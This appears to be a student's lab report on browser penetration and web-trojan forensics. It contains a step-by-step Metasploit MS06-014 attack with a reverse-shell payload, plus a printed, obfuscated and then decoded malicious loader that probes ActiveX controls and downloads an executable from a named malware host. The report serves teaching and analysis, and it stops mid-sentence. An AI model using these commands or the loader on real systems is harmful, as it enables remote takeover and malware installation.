1.实践内容
1.1 基于 Metasploit 的浏览器渗透攻击(MS06-014 漏洞)
- 模块调用:在 Metasploit 中搜索并加载MS06-014 IE CreateObject 漏洞模块(exploit/windows/browser/ie_createobject);
- 载荷配置:选择windows/shell/reverse_tcp 反向 Shell 载荷,设置 LHOST 为攻击机 IP、LPORT 为监听端口;
- 木马构造:执行 exploit 命令生成恶意 URL,搭建临时 Web 服务提供恶意网页访问;
- 渗透实施:靶机 IE 访问恶意 URL,触发漏洞后攻击机获取远程命令行会话,执行 net user、ipconfig 等系统命令。
1.2 网页木马取证分析实践
- 分层加载分析:拆解 start.html→new09.htm→kl.htm 的恶意网页分层加载链,识别隐藏 iframe 与外部脚本加载特征;
- 代码解密:对 Base64+XXTEA 组合混淆的恶意脚本进行解密,还原漏洞探测与载荷加载逻辑;
- 漏洞利用链提取:识别 ADODB.Stream、暴风影音、PPS、百度工具栏四类 ActiveX 漏洞利用路径;
- 样本分析:对下载的恶意 EXE 进行 MD5 哈希校验,确认多路径投递的为同一木马样本;通过脱壳、IDA 静态分析,识别样本下载器、持久化、进程注入、篡改系统时间等恶意行为。
1.3 浏览器渗透攻防对抗实践
- 攻击端:独立验证MS06-055 VML 漏洞与MS06-014 ActiveX 漏洞,将两个漏洞 URL 转为十六进制并封装进混淆 HTML 页面,通过 Apache 部署统一挂马入口;
- 防守端:提取恶意链接源码,逆向解混淆还原真实漏洞 URL;分析漏洞页面特征,识别两个漏洞的 CVE 编号、影响组件、触发原理与利用方式;
- 攻防验证:靶机访问混淆挂马页面,触发双漏洞并建立远程会话,完成攻击与防御的全流程对抗。
2.实践过程
2.1 web浏览器渗透攻击
任务:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。
1、实验环境
① 攻击机:kali IP地址为192.168.199.130,如下图所示:

② 靶机:windows xp professional IP地址为192.168.199.6;同时在属性修改主机名为fxf,利用prompt fxf$g显示

③ 攻击机和靶机均设置在桥接模式下,测试两者的连通性如下图所示:

2、实验步骤:
① 选择使用Metasploit中的MS06-014渗透攻击模块
具体的攻击过程如下:
首先在kali虚拟机上打开终端,进入root模式,并且打开msfconsole,如下图所示:

搜索MS06-014渗透攻击模块并使用:
搜索MS06-014相关模块
search MS06-014
选择MS06-014攻击模块
use exploit/windows/browser/ie_createobject

② 选择PAYLOAD为任意远程Shell连接
选择一个Payload:
查看当前模块可用的Payload列表
show payloads


设置Payload为反向Shell连接
set payload windows/shell/reverse_tcp

③ 设置服务器地址和 URL 参数,运行 exploit,构造出恶意网页木马脚本
这里选择windows/shell/reverse_tcp作为远程Shell连接
配置关键参数::
设置攻击机IP地址(Kali的IP)
set LHOST 192.168.199.130
设置靶机IP地址(Windows的IP)
set RHOST 192.168.199.6
查看配置是否完整
show options

攻击机地址设置为LHOST,靶机地址设置为RHOST。show options 命令可以用来确认所有必需的参数都已正确设置
生成并执行攻击:准备好之后使用命令run发动本次攻击:
运行exploit,开始监听并生成恶意URL
exploit

命令执行成功后,Metasploit会生成一个恶意的URL:http://192.168.199.130:8080/cLI6Ju7sC
④ 在靶机环境中启动浏览器,验证与服务器的连通性,并访问恶意网页木马脚本 URL
在Windows靶机的Internet Explorer浏览器的地址栏中,手动输入上一步生成的恶意URL,然后按回车键访问

⑤ 在攻击机的 Metasploit 软件中查看渗透攻击状态,并通过成功渗透攻击后建立起的远程控制会话 SESSION,在靶机上远程执行命令
获取控制权:
确认会话建立:当靶机访问该URL后,Kali的msfconsole界面中会显示 Command shell session 1 opened 的提示。

交互会话:在msfconsole中输入 sessions -i 1 并按回车,进入会话。

执行控制命令:现在你可以输入Windows命令来控制靶机了
查看靶机上的用户列表
net user
查看靶机IP配置
ipconfig
进入靶机C盘
cd C:

2.2 取证分析实践—网页木马攻击场景分析
实践过程:
2.2.1 首先你应该访问start.html,在这个文件中给出了new09.htm的地址

可以发现new09.htm与start.html文件在同一个目录下
由于本地获得的是单独下载的文件,而不是完整 Web 站点目录,无法直接通过原始目录下载 new09.htm。后续结合wp文件(学习通中)补全 new09.htm 的实际内容。该文件内容较短,核心是两条外部资源加载语句。
<iframe width='0' height='0' src='http://aa.18dd.net/aa/kl.htm'></iframe>
<script language="javascript" type="text/javascript" src="http://js.users.51.la/1299644.js"></script>
可以判断,new09.htm 并不直接包含完整漏洞利用代码,而是通过隐藏 iframe 加载 kl.htm,并通过 script 标签加载 1299644.js。这符合网页木马常见的分层加载方式。
2.2.2 在进入 htm 后,每解密出一个文件地址,请对其作 32 位 MD5 散列,以散列值为文件名到http://192.168.68.253/scom/hashed/哈希值下去下载对应的文件(注意:文件名中的英文字母为小写,且没有扩展名),即为解密出的地址对应的文件。
① http://aa.18dd.net/aa/kl.htm

查询结果:
md5(http://aa.18dd.net/aa/kl.htm) = 7f60672dcd6b5e90b6772545ee219bd3
② http://js.users.51.la/1299644.js

查询结果:
md5(http://js.users.51.la/1299644.js) = 23180a42a2ff1192150231b44ffdf3d3
③ 按照http://192.168.68.253/scom/hashed/+散列值的方式分别下载这两个文件,
即:
http://192.168.68.253/scom/hashed/23180a42a2ff1192150231b44ffdf3d3
http://192.168.68.253/scom/hashed/7f60672dcd6b5e90b6772545ee219bd3

④ 下载好之后,分别打开两个文件,如下图所示:



其中一个文件内容较直观,另一个文件中包含大量混淆代码。通过观察函数名和代码结构,可判断该脚本使用 Base64 与 XXTEA 组合对主要内容进行了隐藏。
2.2.3 如果解密出的地址给出的是网页或脚本文件,请继续解密。
① 上图t = utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'));
即为加密密钥,将该加密密钥在下图中所示网站进行转换得:

即结果为script;
② 知道了加密密钥,那我们就将上述文件进行解密,解密流程可整理为:
Base64 解码 → XXTEA 解密,密钥为 script → JavaScript 字符串转义还原

即
<script>
eval("\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x69\x6e\x69\x74\x28\x29\x7b\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x29\x3b\x7d\x0d\x0a\x77\x69\x6e\x64\x6f\x77\x2e\x6f\x6e\x6c\x6f\x61\x64\x20\x3d\x20\x69\x6e\x69\x74\x3b\x0d\x0a\x69\x66\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x2e\x69\x6e\x64\x65\x78\x4f\x66\x28\x27\x4f\x4b\x27\x29\x3d\x3d\x2d\x31\x29\x7b\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x65\x3b\x0d\x0a\x76\x61\x72\x20\x61\x64\x6f\x3d\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74\x28\x22\x6f\x62\x6a\x65\x63\x74\x22\x29\x29\x3b\x0d\x0a\x61\x64\x6f\x2e\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65\x28\x22\x63\x6c\x61\x73\x73\x69\x64\x22\x2c\x22\x63\x6c\x73\x69\x64\x3a\x42\x44\x39\x36\x43\x35\x35\x36\x2d\x36\x35\x41\x33\x2d\x31\x31\x44\x30\x2d\x39\x38\x33\x41\x2d\x30\x30\x43\x30\x34\x46\x43\x32\x39\x45\x33\x36\x22\x29\x3b\x0d\x0a\x76\x61\x72\x20\x61\x73\x3d\x61\x64\x6f\x2e\x63\x72\x65\x61\x74\x65\x6f\x62\x6a\x65\x63\x74\x28\x22\x41\x64\x6f\x64\x62\x2e\x53\x74\x72\x65\x61\x6d\x22\x2c\x22\x22\x29\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x65\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x0d\x0a\x76\x61\x72\x20\x65\x78\x70\x69\x72\x65\x73\x3d\x6e\x65\x77\x20\x44\x61\x74\x65\x28\x29\x3b\x0d\x0a\x65\x78\x70\x69\x72\x65\x73\x2e\x73\x65\x74\x54\x69\x6d\x65\x28\x65\x78\x70\x69\x72\x65\x73\x2e\x67\x65\x74\x54\x69\x6d\x65\x28\x29\x2b\x32\x34\x2a\x36\x30\x2a\x36\x30\x2a\x31\x30\x30\x30\x29\x3b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x3d\x27\x63\x65\x3d\x77\x69\x6e\x64\x6f\x77\x73\x78\x70\x3b\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d\x27\x2b\x65\x78\x70\x69\x72\x65\x73\x2e\x74\x6f\x47\x4d\x54\x53\x74\x72\x69\x6e\x67\x28\x29\x3b\x0d\x0a\x69\x66\x28\x65\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x31\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x0d\x0a\x65\x6c\x73\x65\x7b\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x66\x3b\x76\x61\x72\x20\x73\x74\x6f\x72\x6d\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x4d\x50\x53\x2e\x53\x74\x6f\x72\x6d\x50\x6c\x61\x79\x65\x72\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x66\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x66\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x62\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x7d\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x67\x3b\x76\x61\x72\x20\x70\x70\x73\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x50\x4f\x57\x45\x52\x50\x4c\x41\x59\x45\x52\x2e\x50\x6f\x77\x65\x72\x50\x6c\x61\x79\x65\x72\x43\x74\x72\x6c\x2e\x31\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x67\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x67\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x70\x70\x73\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x7d\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x68\x3b\x76\x61\x72\x20\x6f\x62\x6a\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x42\x61\x69\x64\x75\x42\x61\x72\x2e\x54\x6f\x6f\x6c\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x68\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x68\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x6f\x62\x6a\x2e\x44\x6c\x6f\x61\x64\x44\x53\x28\x22\x68\x74\x74\x70\x3a\x2f\x2f\x64\x6f\x77\x6e\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x2f\x62\x62\x2f\x62\x64\x2e\x63\x61\x62\x22\x2c\x20\x22\x62\x64\x2e\x65\x78\x65\x22\x2c\x20\x30\x29\x7d\x7d\x0d\x0a\x7d\x7d\x7d")
</script>
③ 解密结果即

点击查看代码
<script>
eval("function init(){document.write();}
window.onload = init;
if(document.cookie.indexOf('OK')==-1){
try{var e;
var ado=(document.createElement("object"));
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb.Stream","")}
catch(e){};
finally{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();
if(e!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>")}
else{
try{var f;var storm=new ActiveXObject("MPS.StormPlayer");}
catch(f){};
finally{if(f!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")}}
try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}
catch(g){};
finally{if(g!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")}}
try{var h;var obj=new ActiveXObject("BaiduBar.Tool");}
catch(h){};
finally{if(h!="[object Error]"){
obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}
}}}")
</script>
使用 CyberChef 进行解码时,先对密文执行 Base64 解码,再使用 XXTEA 解密并填入密钥 script,最后对输出中的 JavaScript 转义字符串进行还原。解密结果显示,该脚本是一个 恶意漏洞探测与利用加载器,通过检测用户浏览器中可用的 ActiveX 控件,动态选择相应的漏洞利用脚本或载荷,最终下载并执行相同的木马程序。
④ 行为分析
优先级漏洞利用链
a.首选:尝试创建 ADODB.Stream 对象(通过
